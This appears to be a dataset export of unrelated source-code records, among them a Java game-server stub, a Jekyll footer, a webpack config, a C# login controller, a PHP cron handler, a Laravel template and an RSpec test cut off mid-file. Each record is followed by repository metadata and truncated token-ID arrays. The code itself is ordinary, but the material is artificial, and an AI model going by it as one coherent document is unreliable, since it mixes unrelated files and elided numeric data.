* EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS
* FOR A PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the appropriateness of using and distributing the Program and
* assumes all risks associated with its exercise of rights under this Agreement , including but not limited to the risks and costs of program
* errors, compliance with applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations.
*
* 6. DISCLAIMER OF LIABILITY
*
* EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION
* OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
*
* 7. GENERAL
*
* If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the
* remainder of the terms of this Agreement, and without further action by the parties hereto, such provision shall be reformed to the minimum
* extent necessary to make such provision valid and enforceable.
*
* If Recipient institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Program
* itself (excluding combinations of the Program with other software or hardware) infringes such Recipient's patent(s), then such Recipient's
* rights granted under Section 2(b) shall terminate as of the date such litigation is filed.
*
* All Recipient's rights under this Agreement shall terminate if it fails to comply with any of the material terms or conditions of this
* Agreement and does not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If all Recipient's rights
* under this Agreement terminate, Recipient agrees to cease use and distribution of the Program as soon as reasonably practicable. However,
* Recipient's obligations under this Agreement and any licenses granted by Recipient relating to the Program shall continue and survive.
*
* Everyone is permitted to copy and distribute copies of this Agreement, but in order to avoid inconsistency the Agreement is copyrighted and may
* only be modified in the following manner. The Agreement Steward reserves the right to publish new versions (including revisions) of this
* Agreement from time to time. No one other than the Agreement Steward has the right to modify this Agreement. The Eclipse Foundation is the
* initial Agreement Steward. The Eclipse Foundation may assign the responsibility to serve as the Agreement Steward to a suitable separate
* entity. Each new version of the Agreement will be given a distinguishing version number. The Program (including Contributions) may always be
* distributed subject to the version of the Agreement under which it was received. In addition, after a new version of the Agreement is
* published, Contributor may elect to distribute the Program (including its Contributions) under the new version. Except as expressly stated in
* Sections 2(a) and 2(b) above, Recipient receives no rights or licenses to the intellectual property of any Contributor under this Agreement,
* whether expressly, by implication, estoppel or otherwise. All rights in the Program not expressly granted under this Agreement are reserved.
*
* This Agreement is governed by the laws of the State of New York and the intellectual property laws of the United States of America. No party to
* this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights
* to a jury trial in any resulting litigation.
*/
package com.runescape.server.revised.content.dialogue.impl;
import com.runescape.server.revised.content.dialogue.AbstractDialogue;
import com.runescape.server.revised.content.dialogue.DialogueEvent;
import com.runescape.server.revised.content.dialogue.DialogueType;
public class HansDialogue extends AbstractDialogue<DialogueType> {
@Override
public DialogueEvent executeDialogueEvent() {
return null;
}
}
| RodriguesJ/Atem | src/com/runescape/server/revised/content/dialogue/impl/HansDialogue.java | Java | epl-1.0 | 12,043 | [
30522,
1013,
1008,
1008,
1008,
13232,
2270,
6105,
1011,
1058,
1015,
1012,
1014,
1008,
1008,
1996,
10860,
2565,
2003,
3024,
2104,
1996,
3408,
1997,
2023,
13232,
2270,
6105,
1006,
1000,
3820,
1000,
1007,
1012,
2151,
2224,
1010,
14627,
2030,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<footer class="footer">
<div class="p2 wrap">
<div class="measure mt1 center">
<small>
© Copyright 2015 <a href="https://twitter.com/benson254">@benson254</a>.<br>
</small>
</div>
</div>
</footer>
{% if site.google_analytics %}
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', '{{ site.google_analytics }}', 'auto');
ga('send', 'pageview');
</script>
{% endif %}
| benarito/benarito.github.io | _includes/footer.html | HTML | mit | 696 | [
30522,
1026,
3329,
2121,
2465,
1027,
1000,
3329,
2121,
1000,
1028,
1026,
4487,
2615,
2465,
1027,
1000,
1052,
2475,
10236,
1000,
1028,
1026,
4487,
2615,
2465,
1027,
1000,
5468,
11047,
2487,
2415,
1000,
1028,
1026,
2235,
1028,
1004,
6100,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/****************************************************************************
**
** Copyright (C) 2016 Jochen Becher
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#pragma once
namespace qmt {
class MDiagram;
class DiagramSceneModel;
class DiagramsViewInterface
{
public:
virtual ~DiagramsViewInterface() { }
virtual void openDiagram(MDiagram *) = 0;
virtual void closeDiagram(const MDiagram *) = 0;
virtual void closeAllDiagrams() = 0;
virtual void onDiagramRenamed(const MDiagram *) = 0;
};
} // namespace qmt
| Philips14171/qt-creator-opensource-src-4.2.1 | src/libs/modelinglib/qmt/diagram_ui/diagramsviewinterface.h | C | gpl-3.0 | 1,561 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
var path = require('path');
var webpack = require('webpack');
var _ = require('lodash');
var baseConfig = require('./base');
// Add needed plugins here
var BowerWebpackPlugin = require('bower-webpack-plugin');
var config = _.merge({
entry: [
'webpack-dev-server/client?http://127.0.0.1:8000',
'webpack/hot/only-dev-server',
'./src/components/run'
],
cache: true,
devtool: 'eval',
plugins: [
new webpack.HotModuleReplacementPlugin(),
new webpack.NoErrorsPlugin(),
new BowerWebpackPlugin({
searchResolveModulesDirectories: false
})
]
}, baseConfig);
// Add needed loaders
config.module.loaders.push({
test: /\.(js|jsx)$/,
loader: 'react-hot!babel-loader',
include: path.join(__dirname, '/../src')
});
module.exports = config;
| rsamec/react-designer | cfg/dev.js | JavaScript | mit | 784 | [
30522,
13075,
4130,
1027,
5478,
1006,
1005,
4130,
1005,
1007,
1025,
13075,
4773,
23947,
1027,
5478,
1006,
1005,
4773,
23947,
1005,
1007,
1025,
13075,
1035,
1027,
5478,
1006,
1005,
8840,
8883,
2232,
1005,
1007,
1025,
13075,
2918,
8663,
8873,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
using Agrobook.Common;
using Agrobook.Domain.Usuarios;
using System.Threading.Tasks;
using System.Web.Http;
namespace Agrobook.Server.Login
{
[RoutePrefix("login")]
public class LoginController : ApiController
{
private readonly IDateTimeProvider dateTime = ServiceLocator.ResolveSingleton<IDateTimeProvider>();
private readonly UsuariosService usuariosService = ServiceLocator.ResolveSingleton<UsuariosService>();
[HttpPost]
[Route("try-login")]
public async Task<IHttpActionResult> TryLogin([FromBody]dynamic value)
{
// Source: http://stackoverflow.com/questions/13120971/how-to-get-json-post-values-with-asp-net-webapi
string username = value.username.Value;
string password = value.password.Value;
var result = await this.usuariosService.HandleAsync(new IniciarSesion(username, password, this.dateTime.Now));
return this.Ok(result);
}
}
}
| Narvalex/Agrobook | src/Agrobook.Server/Login/LoginController.cs | C# | mit | 983 | [
30522,
2478,
12943,
3217,
8654,
1012,
2691,
1025,
2478,
12943,
3217,
8654,
1012,
5884,
1012,
2149,
6692,
9488,
2015,
1025,
2478,
2291,
1012,
11689,
2075,
1012,
8518,
1025,
2478,
2291,
1012,
4773,
1012,
8299,
1025,
3415,
15327,
12943,
3217,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* Elgg cron library.
*
* @package Elgg
* @subpackage Core
* @author Curverider Ltd
* @link http://elgg.org/
*/
/** The cron exception. */
class CronException extends Exception {}
/**
* Initialisation
*
*/
function cron_init()
{
// Register a pagehandler for cron
register_page_handler('cron','cron_page_handler');
}
/**
* Cron handler for redirecting pages.
*
* @param unknown_type $page
*/
function cron_page_handler($page)
{
global $CONFIG;
if ($page[0])
{
switch (strtolower($page[0]))
{
case 'minute' :
case 'fiveminute' :
case 'fifteenmin' :
case 'halfhour' :
case 'hourly' :
case 'daily' :
case 'weekly' :
case 'monthly':
case 'yearly' :
case 'reboot' : set_input('period', $page[0]); break;
default : throw new CronException(sprintf(elgg_echo('CronException:unknownperiod'), $page[0]));
}
// Include cron handler
include($CONFIG->path . "engine/handlers/cron_handler.php");
}
else
forward();
}
// Register a startup event
register_elgg_event_handler('init','system','cron_init');
?> | namaggarwal/elgg | engine/lib/cron.php | PHP | mit | 1,140 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
3449,
13871,
13675,
2239,
3075,
1012,
1008,
1008,
1030,
7427,
3449,
13871,
1008,
1030,
4942,
23947,
4270,
4563,
1008,
1030,
3166,
7774,
15637,
2099,
5183,
1008,
1030,
4957,
8299,
1024,
1013,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# Lecidea humosa var. chthonoblastes (A. Braun) Erichsen VARIETY
#### Status
ACCEPTED
#### According to
Index Fungorum
#### Published in
null
#### Original name
Stereonema chthonoblastes A. Braun ex Kütz.
### Remarks
null | mdoering/backbone | life/Fungi/Ascomycota/Lecanoromycetes/Baeomycetales/Trapeliaceae/Placynthiella/Placynthiella uliginosa/Lecidea humosa chthonoblastes/README.md | Markdown | apache-2.0 | 227 | [
30522,
1001,
3393,
27082,
2050,
14910,
8820,
13075,
1012,
10381,
2705,
17175,
28522,
13473,
2015,
1006,
1037,
1012,
21909,
1007,
17513,
5054,
3528,
1001,
1001,
1001,
1001,
3570,
3970,
1001,
1001,
1001,
1001,
2429,
2000,
5950,
4569,
20255,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package org.scalajs.openui5.sap.m
import org.scalajs.openui5.sap.ui.core.{CSSSize, Wrapping}
import org.scalajs.openui5.util.{Settings, SettingsMap, noSettings}
import scala.scalajs.js
import scala.scalajs.js.annotation.{JSName, ScalaJSDefined}
@ScalaJSDefined
trait TextAreaSettings extends InputBaseSettings
object TextAreaSettings extends TextAreaSettingsBuilder(noSettings)
class TextAreaSettingsBuilder(val dict: SettingsMap)
extends Settings[TextAreaSettings, TextAreaSettingsBuilder](new TextAreaSettingsBuilder(_))
with TextAreaSetters[TextAreaSettings, TextAreaSettingsBuilder]
trait TextAreaSetters[T <: js.Object, B <: Settings[T, _]] extends InputBaseSetters[T, B] {
def rows(v: Int) = setting("rows", v)
def cols(v: Int) = setting("cols", v)
def height(v: CSSSize) = setting("height", v)
def maxLength(v: Int) = setting("maxLength", v)
def wrapping(v: Wrapping) = setting("wrapping", v)
def valueLiveUpdate(v: Boolean) = setting("valueLiveMapping", v)
def liveChange(v: js.Function) = setting("liveChange", v)
}
@JSName("sap.m.TextArea")
@js.native
class TextArea(id: js.UndefOr[String] = js.native,
settings: js.UndefOr[TextAreaSettings] = js.native) extends InputBase {
def this(id: String) = this(id, js.undefined)
def this(settings: TextAreaSettings) = this(js.undefined, settings)
}
| lastsys/scalajs-openui5 | src/main/scala/org/scalajs/openui5/sap/m/TextArea.scala | Scala | mit | 1,347 | [
30522,
7427,
8917,
1012,
26743,
22578,
1012,
2330,
10179,
2629,
1012,
20066,
1012,
1049,
12324,
8917,
1012,
26743,
22578,
1012,
2330,
10179,
2629,
1012,
20066,
1012,
21318,
1012,
4563,
1012,
1063,
20116,
18719,
4371,
1010,
12252,
1065,
12324,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2000-2014 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.psi.impl.source.xml;
import com.intellij.psi.impl.meta.MetaRegistry;
import com.intellij.psi.meta.PsiMetaData;
import com.intellij.psi.xml.XmlElementType;
import com.intellij.psi.xml.XmlMarkupDecl;
/**
* @author Mike
*/
public class XmlMarkupDeclImpl extends XmlElementImpl implements XmlMarkupDecl {
public XmlMarkupDeclImpl() {
super(XmlElementType.XML_MARKUP_DECL);
}
@Override
public PsiMetaData getMetaData(){
return MetaRegistry.getMeta(this);
}
}
| asedunov/intellij-community | xml/xml-psi-impl/src/com/intellij/psi/impl/source/xml/XmlMarkupDeclImpl.java | Java | apache-2.0 | 1,100 | [
30522,
1013,
1008,
1008,
9385,
2456,
1011,
2297,
6892,
10024,
7076,
1055,
1012,
1054,
1012,
1051,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<div id="how_to" class="how_to">
<div class="container">
<div class="row">
<div class="col-md-1 text-center"> </div>
<div class="col-md-2 text-center">
<p>
<img src="{{ asset('/img/howto/calender.png') }}" alt="" data-retina="true">
</p>
<h5>For 14 days</h5>
</div>
<div class="col-md-2 text-center">
<p>
<img src="{{ asset('/img/howto/plastic_bag.png') }}" alt="" data-retina="true">
</p>
<h5>All tools in one box</h5>
</div>
<div class="col-md-2 text-center">
<p>
<img src="{{ asset('/img/howto/deposit.png') }}" alt="" data-retina="true">
</p>
<h5>Deposit required</h5>
</div>
<div class="col-md-2 text-center">
<p>
<img src="{{ asset('/img/howto/thumbsup.png') }}" alt="" data-retina="true">
</p>
<h5>Easy preparation</h5>
</div>
<div class="col-md-2 text-center">
<p>
<img src="{{ asset('/img/howto/free.png') }}" alt="" data-retina="true">
</p>
<h5>Free rental fee</h5>
</div>
<div class="col-md-1 text-center"> </div>
</div><!-- End row -->
<h3 class="text-center">Moving has never been easier!</h3>
<p class="lead text-center">
Call Us 010-2214-7112
</p>
<p class="lead text-center">
<span>Bank: Kookmin Bank <b>|</b></span><span> Account Number: 724702-01-127514 <b>|</b></span><span> Recipient: 박범호</span>
</p>
</div>
</div><!-- End how_to -->
| sherazali123/removals-laravel | resources/views/page/box-rental/partials/features_banner.blade.php | PHP | mit | 2,193 | [
30522,
1026,
4487,
2615,
8909,
1027,
1000,
2129,
1035,
2000,
1000,
2465,
1027,
1000,
2129,
1035,
2000,
1000,
1028,
1026,
4487,
2615,
2465,
1027,
1000,
11661,
1000,
1028,
1026,
4487,
2615,
2465,
1027,
1000,
5216,
1000,
1028,
1026,
4487,
26... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
require 'rails_helper'
RSpec.describe FeatureReviewWithStatuses do
let(:tickets) { [] }
let(:builds) { {} }
let(:deploys) { [] }
let(:qa_submission) { nil }
let(:uatest) { nil }
let(:apps) { {} }
let(:uat_url) { 'http://uat.com' }
let(:feature_review) {
instance_double(
FeatureReview,
uat_url: uat_url,
app_versions: apps,
)
}
let(:feature_review_query) {
instance_double(
Queries::FeatureReviewQuery,
tickets: tickets,
builds: builds,
deploys: deploys,
qa_submission: qa_submission,
uatest: uatest,
)
}
let(:query_time) { 1.day.ago }
let(:time_now) { Time.now }
let(:query_class) { class_double(Queries::FeatureReviewQuery, new: feature_review_query) }
subject(:decorator) { described_class.new(feature_review, at: query_time, query_class: query_class) }
it 'delegates #apps, #tickets, #builds, #deploys and #qa_submission to the feature_review_query' do
expect(decorator.tickets).to eq(feature_review_query.tickets)
expect(decorator.builds).to eq(feature_review_query.builds)
expect(decorator.deploys).to eq(feature_review_query.deploys)
expect(decorator.qa_submission).to eq(feature_review_query.qa_submission)
expect(decorator.uatest).to eq(feature_review_query.uatest)
end
it 'delegates #uat_url and #app_versions to the feature_review' do
expect(decorator.uat_url).to eq(feature_review.uat_url)
expect(decorator.app_versions).to eq(feature_review.app_versions)
end
describe '#time' do
context 'when initialized with a time' do
it 'returns the time it was initialized with' do
expect(decorator.time).to eq(query_time)
end
end
context 'when NOT initialized with a time' do
it 'returns the time when it was initialized' do
Timecop.freeze(time_now) do
decorator_without_specific_time = described_class.new(feature_review)
expect(decorator_without_specific_time.time).to eq(time_now)
end
end
end
end
describe '#build_status' do
context 'when all builds pass' do
let(:builds) do
{
'frontend' => Build.new(success: true),
'backend' => Build.new(success: true),
}
end
it 'returns :success' do
expect(decorator.build_status).to eq(:success)
end
context 'but some builds are missing' do
let(:builds) do
{
'frontend' => Build.new(success: true),
'backend' => Build.new,
}
end
it 'returns nil' do
expect(decorator.build_status).to eq(nil)
end
end
end
context 'when any of the builds fails' do
let(:builds) do
{
'frontend' => Build.new(success: false),
'backend' => Build.new(success: true),
}
end
it 'returns :failure' do
expect(decorator.build_status).to eq(:failure)
end
end
context 'when there are no builds' do
it 'returns nil' do
expect(decorator.build_status).to be nil
end
end
end
describe '#deploy_status' do
context 'when all deploys are correct' do
let(:deploys) do
[
Deploy.new(correct: true),
]
end
it 'returns :success' do
expect(decorator.deploy_status).to eq(:success)
end
end
context 'when any deploy is not correct' do
let(:deploys) do
[
Deploy.new(correct: true),
Deploy.new(correct: false),
]
end
it 'returns :failure' do
expect(decorator.deploy_status).to eq(:failure)
end
end
context 'when there are no deploys' do
it 'returns nil' do
expect(decorator.deploy_status).to be nil
end
end
end
describe '#qa_status' do
context 'when QA submission is accepted' do
let(:qa_submission) { QaSubmission.new(accepted: true) }
it 'returns :success' do
expect(decorator.qa_status).to eq(:success)
end
end
context 'when QA submission is rejected' do
let(:qa_submission) { QaSubmission.new(accepted: false) }
it 'returns :failure' do
expect(decorator.qa_status).to eq(:failure)
end
end
context 'when QA submission is missing' do
it 'returns nil' do
expect(decorator.qa_status).to be nil
end
end
end
describe '#uatest_status' do
context 'when User Acceptance Tests have passed' do
let(:uatest) { Uatest.new(success: true) }
it 'returns :success' do
